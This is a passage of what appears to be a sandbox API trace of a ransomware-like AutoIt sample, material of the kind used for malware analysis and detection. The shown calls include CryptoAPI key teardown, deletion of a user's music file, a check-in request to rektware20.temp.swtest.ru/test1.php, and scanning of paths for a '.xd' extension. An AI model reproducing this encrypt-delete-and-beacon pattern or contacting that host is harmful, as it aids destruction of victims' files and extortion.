lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.907] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.907] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0063.907] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.907] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.907] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0063.908] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621420, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0063.908] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0063.908] CryptDestroyKey (hKey=0x164c970) returned 1 [0063.908] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.908] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.908] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.908] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.908] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.908] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.908] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0063.908] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.908] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.908] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0063.908] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.909] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0063.909] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0063.909] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.909] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.909] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.909] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.909] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.909] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.909] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.909] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.910] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.910] CryptReleaseContext (hProv=0x17abc38, dwFlags=0x0) returned 1 [0063.910] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.910] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.910] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.910] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.910] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.910] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.910] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.910] CloseHandle (hObject=0x3bc) returned 1 [0063.913] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.913] CloseHandle (hObject=0x2ac) returned 1 [0063.915] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.917] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.917] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", lpFilePart=0x0) returned 0x42 [0063.917] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\vb t4e.m4a")) returned 0x20 [0063.918] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c6b0 [0063.918] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\vB t4e.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\hlxtge9ks2i\\kcbcqi5tkc4upht\\vb t4e.m4a")) returned 1 [0063.921] FindNextFileW (in: hFindFile=0x164c6b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.921] FindClose (in: hFindFile=0x164c6b0 | out: hFindFile=0x164c6b0) returned 1 [0063.922] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.922] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.922] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.922] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.922] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.922] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.922] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.922] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.922] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ef8c) returned 1 [0063.922] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.922] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.923] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.923] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.923] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.923] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.923] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.925] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.925] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.925] CloseHandle (hObject=0x0) returned 0 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.925] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.928] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RbCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bCicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CicUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="icUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cUjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UjcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jcOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cOq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Oq\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="03deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eSazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SazNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="azNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zNJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NJrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JrJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rJnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JnD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nD.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.930] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 